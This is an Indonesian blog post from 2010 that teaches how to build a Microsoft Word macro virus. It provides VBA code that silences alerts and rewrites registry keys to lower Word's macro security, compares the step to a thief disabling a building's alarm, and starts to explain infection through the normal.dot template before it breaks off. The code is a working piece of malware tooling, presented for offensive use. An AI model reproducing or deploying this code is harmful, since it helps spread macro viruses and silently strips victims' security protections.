Jumat, 18 Juni 2010

Memperlemah sekuriti makro pada ms word

Agar kode kita bisa dieksekusi dengan bebas oleh word maka jalan pertama adalah melemahkan sekuriti pada ms word.
Diumpamakan seperti maling yang akan masuk ke sebuah gedung yang mempunyai sistem keamanan, agar si maling bisa masuk otomatis jalan pertamanya dia harus menonaktifkan keamanan pada gedung tersebut. Untuk melemahkannya:

-Buka ms word
-Buat dokumen baru
-Buka visual basic editor
-ketik kode di bawah ini:

Sub awal()
Application.DisplayAlerts = wdAlertsNone
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End sub

Kode ini dapat memperlemah sekuriti makro di ms word, saya tidak akan menerangkan satu persatu, kalian bisa melihat keterangannya pada artikel saya sebelumnya atau pada artikel sevenC.

Penularan/infeksi

Untuk penginfeksiannya kita memerlukan file template pada ms word itu sendiri yang biasa disebut normal.dot dan file template pada dokumen. File-file template tersebut dapat kalian lihat di visual basic editor pada bagian kiri, seperti yang ditunjukkan pada gambar :




0 komentar:

Posting Komentar